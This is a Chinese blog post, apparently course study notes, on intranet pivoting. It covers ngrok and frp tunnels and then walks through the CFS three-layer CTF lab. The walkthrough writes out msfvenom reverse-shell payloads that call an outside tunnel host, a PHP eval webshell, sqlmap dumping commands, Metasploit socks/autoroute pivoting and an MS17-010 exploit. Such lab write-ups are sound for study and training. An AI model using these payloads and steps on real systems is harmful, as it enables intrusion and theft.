第70天-内网安全-域横向内网漫游 Socks 代理隧道技

思维导图

基础知识点

1.内外网简单知识

  • 内网ip地址是私有ip地址(10/8, 172.16/12 , 192.168/16),除此之外就是外网ip。

2.内网1和内网2通信问题

  • 两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理。

3.正反向协议通信连接问题

  • 正向:攻击者去连接受害者
    • 攻击者处于内网受害者处于外网
  • 反向:受害者去连接攻击者
    • 攻击者处于外网受害者处于内网
  • 为什么要区分正向和反向?
  • 因为如果控制端是外网主机(103.12.4.11),被控端是内网主机(192.168.23.36),内网被控端,通过控制端主动去找是找不到的,因为这个内网的IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。

4.内网穿透代理隧道技术说明

  • 代理主要解决网络的连通性问题
  • 隧道主要解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题

演示案例:

1-内网穿透 Ngrok 测试演示-两个内网通讯上线

实验拓扑

Ngrok

国外:https://ngrok.com

国内:https://www.ngrok.cc/

1、注册登录
2、下载相应版本客户端

linux查看系统位数—uname -m

70-4

3、开通隧道

4、配置本地端口

(虚拟机kali的)

实验开始

协议:http 本地端口:192.168.80.137:4444

测试:内网win7 执行后门—免费主机处理—内网 kali 监听—内网 kali 接受器

./sunny clientid 隧道号
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.80.137
set lport 4444
exploit
1、将Ngrok客户端传到 kali上,启动
./sunny clientid 隧道号

2、msf生成后门
msfvenom -p windows/meterpreter/reverse_http lhost=liandy.free.idcfengye.com lport=80 -f exe -o test.exe

3、配置并监听(一旦liandy.free.idcfengye.com有流量,就发给本地192.168.80.136:4444)

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.80.137
set lport 4444
exploit

4、在windows7运行test.exe

一直没出结果,test运行一会儿,进程就停止了。可能需要做免杀,不过无伤大雅!

  • 就是通过外网服务器做个桥梁,双方都能访问到,从而建立连接。

2-内网穿透 Frp 自建跳板测试-两个内网通讯上线

实验拓扑图

70-1

1.服务端-下载-解压-修改-启动(云主机记得修改安全组配置出入口

服务器修改配置文件 frps.ini:
[common]
bind_port = 7000
启动服务端:
./frps -c ./frps.ini

2.控制端-下载-解压-修改-启动

控制端修改配置文件 frpc.ini:

[common]
server_addr = 你的云主机 ip
server_port = 7000 #frpc 工作端口,必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
remote_port = 6000 #服务端用 6000 端口转发给本机

启动客户端:

./frpc -c ./frpc.ini

此时服务端收到端口连接

3、生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的云主机ip lport=6000 -f exe -o frp.exe

后面放到靶机运行 frp.exe 即可

4、配置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

frp.exe运行后,监听到会话(现在看起来,案例一应该是那个网站的问题,自己搭建的还是比较靠谱!

3-CFS 三层内网漫游安全测试演练-某 CTF 线下 2019

实验拓扑图

70-2

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾。

参考:

  • https://www.cnblogs.com/zhengna/p/15348419.html
  • https://blog.csdn.net/qq_42383069/article/details/123576958
  • https://hackergu.com/cfs-network/

实验环境搭建

1、靶场下载

CFS三层靶机环境:
链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg
提取码: dkcp
解压密码:teamssix.com

2、虚拟机配置

设置虚拟机网卡(新建两个仅主机模式的网卡)
VMnet10: 子网IP:192.168.22.0 子网掩码:255.255.255.0
VMnet11: 子网IP:192.168.33.0 子网掩码:255.255.255.0

配置虚拟机网卡

虚拟机网卡ip显示

70-24

70-25

3、实验拓扑

4、开放web服务

开启Web服务:
宝塔后台登陆地址及密码:

http://靶机外网ip:8888/a768f109/
账号:eaj3yhsl,密码:41bb8fee,根据靶机实际ip,配置即可

Target1

信息收集

首先nmap扫描一下192.168.80.1这个网段开放了那些服务。

漏洞发现

web网站是TP5框架

Thinkphp5.x工具测试,确认存在漏洞。

命令执行,打印当前路径

漏洞利用

通过命令可以直接写入后门(一键功能getshell用不了)

echo '<?php @eval($_POST[x]);?>' > /www/wwwroot/ThinkPHP/public/shell.php

访问一下shell.php 验证写入成功!

getshell

蚁剑连接

在robots.txt以及flag21sA.txt分别发现flag

flag{QeaRqaw12fs}  flag{e2D3aFdasde}

上传信息收集脚本,进行提权信息收集,进行信息再收集。

chmod +x LinEnum.sh
./LinEnum.sh

这里运行无回显。具体是什么原因不清楚,大概是权限不够,或者被拦截。那就看一下网络配置。

ipconfig
ip addr show 
ip a show dev 网络接口

这里可以看到有192.168.22.129这个ip。

连接上target1之后,可以用target1当做跳板,但是蚁剑比较麻烦,此时可以改用CS神器或者MSF,因为使用CS或者MSF时,即使权限不够,我们也可以进行一些操作。

接下来我们开始渗透Target2。kali直接与target2连接是连不上的。因为kali网段是80,target2网段是22,二者不在同一个网段,无法互联,但是target1网段是80和22,target1既跟kali同一网段,又跟target2同一网段,因此,我们可以将target1作为跳板,实现kali和target2的互联。

生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.80.137 LPORT=1111 -f elf >t1.elf

接收反弹
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.80.137
set LPORT 1111
exploit

上传后门、执行后门

通过蚁剑上传后门、执行后门

chmod +x t1.elf
./t1.elf

此时接收到会话

信息收集及配置访问

由于测试环境是我们自己准备的,所以我们知道target2主机的网段及IP地址。但是在实战中,我们应该是未知的,因此我们需要首先进行信息收集,以获得目标target2的相关信息,为进一步的渗透做准备。

获取网络接口

run get_local_subnets

这里target1存在3个网络接口,一个122、一个80,一个22,80与kali同一网段,是连接外网的,那22就是连接内网(局域网),其实刚才已经收集到这些信息。(122这里不清楚具体是干什么的,可能是前人的配置,毕竟实验环境是在网上找的。)

查看路由地址

run autoroute -p

发现路由表是空的。我们需要添加路由地址

添加路由地址

run autoroute -s 192.168.22.0/24

并且查看路由表,已更新。

​ 添加路由地址成功,说明在刚才反弹的session1会话上,我们添加了一个22网段的网络接口。此时我们就可以通过这个路由跟22网段进行通讯了。虽然能够通讯了,但是我们的目标是攻击target2,要攻击就需要使用到工具,由于路由是写到了msf建立的会话上面,有些工具没法用。此时我们就需要开一个代理,开这个代理就相当于开一个接口给其他人用。

开启本地代理
use auxiliary/server/socks_proxy
set version 4a
set srvport 2222
exploit

配置proxychains

找到proxychains.conf文件,linux是/etc/proxychains.conf

nmap进行探针扫描
proxychains nmap -sT -Pn 192.168.22.0/24
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 //这里是为了快速扫描
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

发现192.168.22.128:80开放129是target1 的内网ip

proxychains nmap -sT -Pn 192.168.22.129

浏览器设置代理

这里好像原本设置的网站IP不是我设置的192.168.22.129,还需要看一下配置,改一下

自己搭建实验环境就是意外百出!!!

rm -f /www/server/panel/data/admin_path.pl
192.168.22.128:8888/2cc52ec0
username: xdynr37d
password: 766e248d

默认账户密码不顶用,我吐了!又是一番周折,重置了密码。

Bt(宝塔面板)忘记用户名密码的解决方案 - 走看看 (zoukankan.com)

更改成自己实验环境的ip

终于能访问了

Target2

查看源码

明确给出SQL注入漏洞点。

http://192.168.22.128/index.php?r=vul&keyword=1 		#sql注入

通过robots.txt文件找到了后台地址(网上查找资料即可补全)

http://192.168.22.128/index.php?r=admini/public/login 	#后台
爆数据库

通过sqlmap获取账户密码,后台进行登录。

#爆库名
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs

#爆表名
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables

#爆列名
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns

70-58

#脱库
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump

后台账户密码admin :123qwe

登录后台

找到flag{eS3sd1IKarw}

写入shell

找到模板修改处,添加一句话。

<?php @eval($_POST[x]);?>  

http://192.168.22.128/index.php?r=tag				#后门shell

访问

配置蚁剑代理

70-66

连接后门-拿到webshell

70-63

70-64

找到flag

flag{23ASfqwr4t2e}

如果攻击机是windows的话,还可以利用代理工具Proxifier或SocksCap64载入代理进行远程访问测试。

生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

接收反弹
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

上传后门、执行后门

chmod +x t2.elf
./t2.elf

70-70

接收到会话

信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

接下来对3333端口进行攻击,由于目标主机是windows系统,我们以前讲过很多攻击工具,比如,namp --script=all、namp --script=vuln、nessus等

Target3

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG

探针检测

探针目标,发现开放了445和3389端口,且存在MS17010漏洞。(永恒之蓝)

proxychains4 nmap -Pn -sT 192.168.33.33

漏洞利用

利用MS17010获取系统权限

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit

监听到会话,得到system权限。

搜索关键字,得到第3个flag

shell
dir /S flag.txt /B
type C:\Users\Administrator\Desktop\flag.txt

涉及资源

ngrok - Online in One Line

Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

frp多层socks代理+端口映射_PANDA-墨森的博客-CSDN博客_frp多层代理

FRP 内网穿透 - 安全客,安全资讯平台 (anquanke.com)

Linux安装proxychains

nps 的使用 | TeamsSix

ehang-io/nps: 一款轻量级、高性能、功能强大的内网穿透代理服务器

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值